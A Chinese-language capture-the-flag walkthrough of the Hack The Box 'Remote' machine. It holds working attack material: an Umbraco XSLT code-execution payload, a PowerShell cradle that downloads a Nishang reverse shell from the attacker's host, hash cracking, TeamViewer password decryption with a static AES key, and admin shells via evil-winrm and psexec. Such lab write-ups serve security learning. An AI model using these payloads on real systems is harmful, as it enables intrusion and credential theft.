37 HTB Remote 机器 - 容易
Recon
nmap
使用nmap快速扫描,oA scans/nmap-alltcp输出到scan文件夹,名字nmap-alltcp
root@kali# nmap -p- --min-rate 10000 -oA scans/nmap-alltcp 10.10.10.180
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-21 15:01 EDT
Warning: 10.10.10.180 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.10.180
Host is up (0.016s latency).
Not shown: 65192 closed ports, 327 filtered ports
PORT STATE SERVICE
21/tcp open ftp
80/tcp open http
111/tcp open rpcbind
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
2049/tcp open nfs
5985/tcp open wsman
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49678/tcp open unknown
49679/tcp open unknown
49680/tcp open unknownNmap done: 1 IP address (1 host up) scanned in 13.43 secondsroot@kali# nmap -sV -sC -p 21,80,111,135,139,445,2049,5985,47001 -oA scans/nmap-tcpscripts 10.10.10.180
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-21 15:03 EDT
Nmap scan report for 10.10.10.180
Host is up (0.015s latency).PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
|_ SYST: Windows_NT
80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Home - Acme Widgets
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/tcp6 rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 2,3,4 111/udp6 rpcbind
| 100003 2,3 2049/udp nfs
| 100003 2,3 2049/udp6 nfs
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/tcp6 nfs
| 100005 1,2,3 2049/tcp mountd
| 100005 1,2,3 2049/tcp6 mountd
| 100005 1,2,3 2049/udp mountd
| 100005 1,2,3 2049/udp6 mountd
| 100021 1,2,3,4 2049/tcp nlockmgr
| 100021 1,2,3,4 2049/tcp6 nlockmgr
| 100021 1,2,3,4 2049/udp nlockmgr
| 100021 1,2,3,4 2049/udp6 nlockmgr
| 100024 1 2049/tcp status
| 100024 1 2049/tcp6 status
| 100024 1 2049/udp status
|_ 100024 1 2049/udp6 status
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
2049/tcp open mountd 1-3 (RPC #100005)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windowsHost script results:
|_clock-skew: 2m38s
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2020-03-22T18:57:11
|_ start_date: N/AService detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.10 seconds
扫到许多服务,有 HTTP, FTP, NSF.
TCP 80 网页
这应该是Acme Widgets公司的网站:
浏览网页没有发现有用的信息
内容管理系统
这个网站用的是 Umbraco.
搜索下可以发现admin登陆页是/umbraco,来尝试访问下:
尝试搜到的默认用户和密码,不好用
漏洞
网上还能搜到这个系统的命令执行漏洞 this authenticated code execution vulnerability
FTP - TCP 21
FTP开着,一般FTP允许直接登录。尝试下,但是目录是空的,而且我们没有写的权限。
SMB - TCP 445
尝试下SMB
root@kali# smbclient -N -L //10.10.10.180
session setup failed: NT_STATUS_ACCESS_DENIEDroot@kali# smbmap -H 10.10.10.180
[+] Finding open SMB ports....
[!] Authentication error on 10.10.10.180
[!] Authentication error on 10.10.10.180
NSF - TCP 2049
NFS (Network File System),即网络文件系统,是由 Sun Microsystems(太阳计算机系统公司) 于1984年开发的一种分布式文件系统协议。
它的核心功能:允许一台计算机上的用户像访问本地存储一样,透明地访问网络上的另一台计算机的共享目录和文件。
客户端-服务器模型:
NFS 服务器:输出(export)一个或多个目录以供网络访问。
NFS 客户端:将服务器输出的目录挂载(mount) 到本地目录树的一个点上。之后,客户端应用程序就可以像使用本地文件夹一样使用这个远程目录。
安全考虑与常见风险
NFS 在设计之初主要用于可信的内部网络,其本身的安全性非常薄弱,因此在互联网或不可信网络中使用会带来极大的风险。
权限基于主机/IP:NFS 的共享权限通常通过客户端的 IP 地址或主机名来控制(在
/etc/exports
文件中配置),而不是基于用户身份。如果攻击者能够伪装IP(IP spoofing)或控制了一台被信任的客户端,他们就能访问共享数据。信息泄露:未经认证的用户通常可以查询 NFS 服务器共享了哪些目录(称为 “exports”),从而获取系统结构信息。
无加密(传统配置):默认情况下,NFS 流量是不加密的。数据(包括敏感文件)和文件操作在网络中以明文传输,容易被窃听。
权限提升:如果配置不当,例如将共享目录设置为
no_root_squash
(详见下文),客户端上的 root 用户在访问 NFS 共享时可能仍然保持 root 权限,从而可以在共享目录中创建属于 root 的文件(如 SetUID 二进制文件),导致服务器权限提升。常见的错误配置:
no_root_squash
:这是最危险的配置之一。它禁用了 root 权限压缩功能,允许客户端的 root 用户在共享目录上拥有服务器 root 的权限。共享给
*
或0.0.0.0/0
:将目录共享给全世界,任何人都可以尝试挂载。写入权限给不可信客户端:允许不可信的客户端向共享目录写入文件。
在渗透测试中的意义
在渗透测试环境中,发现开放的 2049 端口 通常是一个重要的突破口。测试流程通常如下:
信息枚举:
使用
nmap
扫描发现 2049/tcp 开放。使用
showmount -e <靶机IP>
命令查询服务器输出了哪些共享目录。
例如:
Export list for 10.10.10.180: /home /share *
尝试挂载:
在本地攻击机上创建一个目录作为挂载点:
mkdir /tmp/target_nfs
使用
mount
命令尝试挂载共享目录:bash
sudo mount -t nfs <靶机IP>:/share /tmp/target_nfs如果成功,你就可以像浏览本地文件一样浏览
/tmp/target_nfs
里的内容。寻找敏感信息:
查看共享目录里的文件、配置文件、SSH 密钥、密码文件备份等。
如果配置了
no_root_squash
并且你有写入权限,可以尝试上传后门程序来获取服务器权限。
showmount查询开启了那些共享目录,发现了 /site_backups
root@kali# showmount -e 10.10.10.180
Export list for 10.10.10.180:
/site_backups (everyone)
挂载到自己主机的/mnt上:
root@kali# mount -t nfs 10.10.10.180:/site_backups /mnt/
查看目录
root@kali:/mnt# ls
App_Browsers App_Data App_Plugins aspnet_client bin Config css default.aspx Global.asax Media scripts Umbraco Umbraco_Client Views Web.config
发现数据库文件 Umbraco.sdf在/App-Data
用strings查看下前几行:
root@kali:/mnt/App_Data# strings Umbraco.sdf | head
Administratoradmindefaulten-US
Administratoradmindefaulten-USb22924d5-57de-468e-9df4-0961cf6aa30d
Administratoradminb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}en-USf8512f97-cab1-4a4b-a49f-0a2054c47a1d
adminadmin@htb.localb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}admin@htb.localen-USfeb1a998-d3bf-406a-b30b-e269d7abdf50
adminadmin@htb.localb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}admin@htb.localen-US82756c26-4321-4d27-b429-1b5c7c4f882f
smithsmith@htb.localjxDUCcruzN8rSRlqnfmvqw==AIKYyl6Fyy29KA3htB/ERiyJUAdpTtFeTpnIk9CiHts={"hashAlgorithm":"HMACSHA256"}smith@htb.localen-US7e39df83-5e64-4b93-9702-ae257a9b9749-a054-27463ae58b8e
ssmithsmith@htb.localjxDUCcruzN8rSRlqnfmvqw==AIKYyl6Fyy29KA3htB/ERiyJUAdpTtFeTpnIk9CiHts={"hashAlgorithm":"HMACSHA256"}smith@htb.localen-US7e39df83-5e64-4b93-9702-ae257a9b9749
ssmithssmith@htb.local8+xXICbPe7m5NQ22HfcGlg==RF9OLinww9rd2PmaKUpLteR6vesD2MtFaBKe1zL5SXA={"hashAlgorithm":"HMACSHA256"}ssmith@htb.localen-US3628acfb-a62c-4ab0-93f7-5ee9724c8d32
@{pv
qpkaj
发现admin@htb.local和smith@htb.local两个密码的哈希值。
Shell - IIS
Umbraco Admin 页面
破解哈希值
直接用hashcat破解:
root@kali# cat admin.sha1
b8be16afba8c314ad33d812f22a04991b90e2aaaroot@kali# hashcat -m 100 admin.sha1 /usr/share/wordlists/rockyou.txt --force hashcat (v5.1.0) starting...
...[snip]...
b8be16afba8c314ad33d812f22a04991b90e2aaa:baconandcheese Session..........: hashcat
Status...........: Cracked
Hash.Type........: SHA1
Hash.Target......: b8be16afba8c314ad33d812f22a04991b90e2aaa
Time.Started.....: Sat Mar 21 20:00:46 2020 (4 secs)
Time.Estimated...: Sat Mar 21 20:00:50 2020 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 2573.2 kH/s (0.38ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 9824256/14344385 (68.49%)
Rejected.........: 0/9824256 (0.00%)
Restore.Point....: 9821184/14344385 (68.47%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: badco192 -> bacninh_kc Started: Sat Mar 21 20:00:34 2020
Stopped: Sat Mar 21 20:00:51 2020
密码是 “baconandcheese”.
Login
登录名用 “admin@htb.local”
漏洞利用
利用之前搜到的漏洞
# Execute a calc for the PoC
payload = '<?xml version="1.0"?><xsl:stylesheet version="1.0" \
xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" \
xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">\
<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() \
{ string cmd = ""; System.Diagnostics.Process proc = new System.Diagnostics.Process();\proc.StartInfo.FileName = "calc.exe"; proc.StartInfo.Arguments = cmd;\proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; \proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; } \</msxsl:script><xsl:template match="/"> <xsl:value-of select="csharp_user:xml()"/>\</xsl:template> </xsl:stylesheet> ';login = "XXXX";
password="XXXX";
host = "XXXX";
更新以下内容:
login
- “admin@htb.local”
password -
“baconandcheese”
host
- “http://10.10.10.180”
也更新下 payload:
{ string cmd = ""; System.Diagnostics.Process proc = new System.Diagnostics.Process();proc.StartInfo.FileName = "calc.exe"; proc.StartInfo.Arguments = cmd;proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true;proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; }
proc.StartInfo.FileName = "cmd.exe"
proc.StartInfo.Arguments = cmd
Ping
使用ping试下 cmd = "/c ping 10.10.14.19"
root@kali# python umbraco_rce_ping.py
Start
[]
End
tcpdump 捕获显示所有流经 VPN 接口 tun0 的 ICMP 协议数据包
root@kali# tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
16:53:30.589383 IP 10.10.10.180 > 10.10.14.19: ICMP echo request, id 1, seq 1, length 40
16:53:30.589462 IP 10.10.14.19 > 10.10.10.180: ICMP echo reply, id 1, seq 1, length 40
16:53:31.604147 IP 10.10.10.180 > 10.10.14.19: ICMP echo request, id 1, seq 2, length 40
16:53:31.604261 IP 10.10.14.19 > 10.10.10.180: ICMP echo reply, id 1, seq 2, length 40
16:53:32.619998 IP 10.10.10.180 > 10.10.14.19: ICMP echo request, id 1, seq 3, length 40
16:53:32.620023 IP 10.10.14.19 > 10.10.10.180: ICMP echo reply, id 1, seq 3, length 40
16:53:33.634646 IP 10.10.10.180 > 10.10.14.19: ICMP echo request, id 1, seq 4, length 40
16:53:33.634668 IP 10.10.14.19 > 10.10.10.180: ICMP echo reply, id 1, seq 4, length 40
Shell
使用PowerShell加载程序更新有效负载,该加载程序将从我的主机下载Nishang PowerShell反向Shell并运行它。payload改成:
string cmd = "/c powershell -c iex(new-object net.webclient).downloadstring('http://10.10.14.19/shell.ps1')";
分解来看,目标可执行文件仍然是cmd.exe。它将使用/c运行,执行后续命令。iex(Invoke-Expression的简写)将运行该行其余部分返回的任何字符串。该行剩余部分将访问我的主机,并下载shell.ps1(然后传递给iex)。
Nishang 是一个著名的、功能强大的 PowerShell 渗透测试框架和脚本集合。它的名字在印地语(Hindi)中意为“好剑”或“利剑”,这恰当地描述了它在安全专业人员手中的作用:一件强大的武器。
核心概述
是什么? Nishang 不是一个单一的应用程序,而是一个包含大量 PowerShell 脚本 的集合。这些脚本利用了 PowerShell 的强大功能,用于渗透测试的各个阶段,包括攻击、侦察、漏洞利用、权限提升和数据渗出等。
谁开发的? 由安全研究员 Samrat Ashok(GitHub 用户名
samratashok
)创建和维护。用途? 它主要被 渗透测试人员(Penetration Testers) 和 红队(Red Teams) 用于合法授权的安全评估,以识别和验证系统中的安全漏洞。同样,它也可能被恶意攻击者滥用。
主要功能和脚本分类
Nishang 的脚本覆盖面非常广,以下是其一些关键功能和对应的脚本类型:
侦察 (Reconnaissance)
脚本用于收集目标系统的信息,例如发现网络共享、获取系统详细信息等。
示例脚本:
Get-Information
攻击与漏洞利用 (Attack & Exploitation)
这是 Nishang 最知名的部分。它提供了多种方式来获得对目标系统的初始访问权限。
反向 Shell (Reverse Shell): 建立从目标系统回连到攻击者控制机器的命令行连接。
绑定 Shell (Bind Shell): 在目标系统上打开一个端口,等待攻击者连接。
下载并执行 (Download & Execute): 从远程服务器下载 PowerShell 脚本或可执行文件并在内存中直接执行,无需写入磁盘,可规避一些防病毒软件。
示例脚本:
Invoke-PowerShellTcp.ps1
(最经典的反向/绑定 Shell 脚本)权限提升 (Escalation)
用于在已经获得初始访问权限(通常是低权限用户)后,将权限提升至系统管理员(SYSTEM)级别。
示例脚本:
Invoke-PsUACme
(用于绕过用户账户控制-UAC)横向移动 (Lateral Movement)
用于在已经攻陷的网络内部,从一台机器移动到另一台机器。
示例脚本:
Invoke-PowerShellWMI
(使用 WMI 在远程主机上执行命令)、Invoke-Exec
(使用 PsExec 风格的功能)数据渗出 (Exfiltration)
用于从被攻陷的系统中外传窃取数据。Nishang 提供了多种隐蔽的方式,例如将数据隐藏在 DNS 请求或 HTTP 流量中。
示例脚本:
Out-DnsTxt
(使用 DNS 查询渗出数据)、Exfiltrate
(通过 HTTP POST 请求渗出数据)持久化 (Persistence)
用于在目标系统上建立后门,确保即使系统重启,攻击者仍然能够保持访问权限。
示例脚本:
Add-Persistence
(创建计划任务、注册表项等以实现持久化)其他实用工具 (Miscellaneous)
还包括一些辅助工具,如键盘记录器 (
Get-Keystrokes
)、扫描器、以及用于混淆 PowerShell 脚本以绕过杀毒软件和应用程序白名单的脚本 (Out-EncryptedScript
,Invoke-Obfuscation
的集成)。
将获取Invoke-PowerShellTcp.ps1的副本(并另存为shell.ps1),并在底部添加一行以执行Shell:
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.19 -Port 443
没有这一行, harness 会将反向 shell 函数加载到 PowerShell 会话中。
使用三个窗口:
- 运行
python umbraco_rce_iex.py
。 - 一个托管
shell.ps1
的 Python Web 服务器。 - 一个用于捕获反向 shell 的
nc
监听器(使用rlwrap
以支持 shell 方向键)。
root@kali# python umbraco_rce_iex.py
Start
[]
root@kali# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.180 - - [21/Mar/2020 20:33:14] "GET /shell.ps1 HTTP/1.1" 200 -
root@kali# rlwrap nc -lvnp 443
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.180.
Ncat: Connection from 10.10.10.180:49688.
Windows PowerShell running as user REMOTE$ on REMOTE
Copyright (C) 2015 Microsoft Corporation. All rights reserved.PS C:\windows\system32\inetsrv>whoami
iis apppool\defaultapppool
user.txt
With this shell I can grab user.txt
. I’m currently running as a user that doesn’t have a desktop, and in fact, there are no non-admin users on this machine:
PS C:\users> dirDirectory: C:\usersMode LastWriteTime Length Name
---- ------------- ------ ----
d----- 2/19/2020 3:12 PM .NET v2.0
d----- 2/19/2020 3:12 PM .NET v2.0 Classic
d----- 2/19/2020 3:12 PM .NET v4.5
d----- 2/19/2020 3:12 PM .NET v4.5 Classic
d----- 3/22/2020 4:53 PM Administrator
d----- 2/19/2020 3:12 PM Classic .NET AppPool
d-r--- 2/20/2020 2:42 AM Public
public文件夹里有user.txt
PS C:\users\Public> dirDirectory: C:\users\PublicMode LastWriteTime Length Name
---- ------------- ------ ----
d-r--- 2/19/2020 3:03 PM Documents
d-r--- 9/15/2018 3:19 AM Downloads
d-r--- 9/15/2018 3:19 AM Music
d-r--- 9/15/2018 3:19 AM Pictures
d-r--- 9/15/2018 3:19 AM Videos
-ar--- 3/22/2020 4:54 PM 34 user.txtPS C:\users\Public> type user.txt
96d361c9************************
权限:IIS –> administrator
Enumeration
查看任务列表(tasklist)时,有一个应用程序显得特别引人注目:
PS C:\windows\system32\inetsrv>cd \
PS C:\> tasklistImage Name PID Session Name Session# Mem Usage
========================= ======== ================ =========== ============
System Idle Process 0 0 8 K
System 4 0 144 K
Registry 104 0 16,084 K
smss.exe 300 0 1,184 K
csrss.exe 404 0 5,464 K
wininit.exe 484 0 6,952 K
csrss.exe 492 1 4,752 K
winlogon.exe 556 1 14,416 K
services.exe 632 0 9,644 K
lsass.exe 656 0 14,028 K
...[snip]...
TeamViewer_Service.exe 3108 0 18,392 K
...[snip]...
可以通过查看 \Program Files (x86)\TeamViewer
目录来获取版本信息:
PS C:\Program Files (x86)\TeamViewer> lsDirectory: C:\Program Files (x86)\TeamViewerMode LastWriteTime Length Name
---- ------------- ------ ----
d----- 2/27/2020 10:35 AM Version7
有一个 Metasploit 模块 post/windows/gather/credentials/teamviewer_passwords。如果不用 Meterpreter ,我们可以查看下 HKLM\SOFTWARE\WOW6432Node\TeamViewer\Version7。针对每个位置,它会查找以下值:
- OptionsPasswordAES
- SecurityPasswordAES
- SecurityPasswordExported
- ServerPasswordAES
- ProxyPasswordAES
- LicenseKeyAES
看下注册表键值:
PS C:\> cd HKLM:\software\wow6432node\teamviewer\version7
PS HKLM:\software\wow6432node\teamviewer\version7> get-itemproperty -path .StartMenuGroup : TeamViewer 7
InstallationDate : 2020-02-20
InstallationDirectory : C:\Program Files (x86)\TeamViewer\Version7
Always_Online : 1
Security_ActivateDirectIn : 0
Version : 7.0.43148
ClientIC : 301094961
PK : {191, 173, 42, 237...}
SK : {248, 35, 152, 56...}
LastMACUsed : {, 005056B99509}
MIDInitiativeGUID : {514ed376-a4ee-4507-a28b-484604ed0ba0}
MIDVersion : 1
ClientID : 1769137322
CUse : 1
LastUpdateCheck : 1584564540
UsageEnvironmentBackup : 1
SecurityPasswordAES : {255, 155, 28, 115...}
MultiPwdMgmtIDs : {admin}
MultiPwdMgmtPWDs : {357BC4C8F33160682B01AE2D1C987C3FE2BAE09455B94A1919C4CD4984593A77}
Security_PasswordStrength : 3
PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\wow6432node\teamviewer\version7
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\wow6432node\teamviewer
PSChildName : version7
PSDrive : HKLM
PSProvider : Microsoft.PowerShell.Core\Registry
SecurityPasswordAES 就在上面的列表中。查看下:
PS HKLM:\software\wow6432node\teamviewer\version7> (get-itemproperty -path .).SecurityPasswordAES
255
155
28
115
214
107
206
49
172
65
62
174
19
27
70
79
88
47
108
226
209
225
243
218
126
141
55
107
38
57
78
91
破解密码
看下Metasploit利用脚本, 有一个解码公式:
def decrypt(encrypted_data)password = ""return password unless encrypted_datapassword = ""key = "\x06\x02\x00\x00\x00\xa4\x00\x00\x52\x53\x41\x31\x00\x04\x00\x00"iv = "\x01\x00\x01\x00\x67\x24\x4F\x43\x6E\x67\x62\xF2\x5E\xA8\xD7\x04"aes = OpenSSL::Cipher.new("AES-128-CBC")beginaes.decryptaes.key = keyaes.iv = ivplaintext = aes.update(encrypted_data)password = Rex::Text.to_ascii(plaintext, 'utf-16le')if plaintext.empty?return nilendrescue OpenSSL::Cipher::CipherError => eprint_error("Unable to decrypt the data. Exception: #{e}")end
它使用 AES128 CBC 模式,并采用了静态密钥和初始化向量(iv)。我只需几行 Python 代码就能轻松重现这一过程:
#!/usr/bin/env python3from Crypto.Cipher import AESkey = b"\x06\x02\x00\x00\x00\xa4\x00\x00\x52\x53\x41\x31\x00\x04\x00\x00"
iv = b"\x01\x00\x01\x00\x67\x24\x4F\x43\x6E\x67\x62\xF2\x5E\xA8\xD7\x04"
ciphertext = bytes([255, 155, 28, 115, 214, 107, 206, 49, 172, 65, 62, 174, 19, 27, 70, 79, 88, 47, 108, 226, 209, 225, 243, 218, 126, 141, 55, 107, 38, 57, 78, 91])aes = AES.new(key, AES.MODE_CBC, IV=iv)
password = aes.decrypt(ciphertext).decode("utf-16").rstrip("\x00")print(f"[+] Found password: {password}")
运行:
root@kali# python3 decrypt_tvpass.py
[+] Found password: !R3m0te!
Shell
该密码恰好适用于 Remote 上的管理员账户
root@kali# crackmapexec smb 10.10.10.180 -u administrator -p '!R3m0te!'
SMB 10.10.10.180 445 REMOTE [*] Windows 10.0 Build 17763 x64 (name:REMOTE) (domain:REMOTE) (signing:False) (SMBv1:False)
SMB 10.10.10.180 445 REMOTE [+] REMOTE\administrator:!R3m0te! (Pwn3d!)
(Pwn3d!) 的标记表明这是一个管理员账户,因此应该能够获得一个 shell。
可以使用 Evil-WinRM:
root@kali# evil-winrm -u administrator -p '!R3m0te!' -i 10.10.10.180Evil-WinRM shell v2.3Info: Establishing connection to remote endpoint*Evil-WinRM* PS C:\Users\Administrator\desktop> whoami
remote\administrator
也可以用 psexec.py
:
root@kali# psexec.py 'administrator:!R3m0te!@10.10.10.180'
Impacket v0.9.21.dev1+20200313.160519.0056b61c - Copyright 2020 SecureAuth Corporation[*] Requesting shares on 10.10.10.180.....
[*] Found writable share ADMIN$
[*] Uploading file ErcBEqYW.exe
[*] Opening SVCManager on 10.10.10.180.....
[*] Creating service amHC on 10.10.10.180.....
[*] Starting service amHC.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.C:\Windows\system32>whoami
nt authority\system
或者 wmiexec.py
:
root@kali# wmiexec.py 'administrator:!R3m0te!@10.10.10.180'
Impacket v0.9.21.dev1+20200313.160519.0056b61c - Copyright 2020 SecureAuth Corporation[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
remote\administrator
*Evil-WinRM* PS C:\Users\Administrator\desktop> type root.txt
e2aeb068************************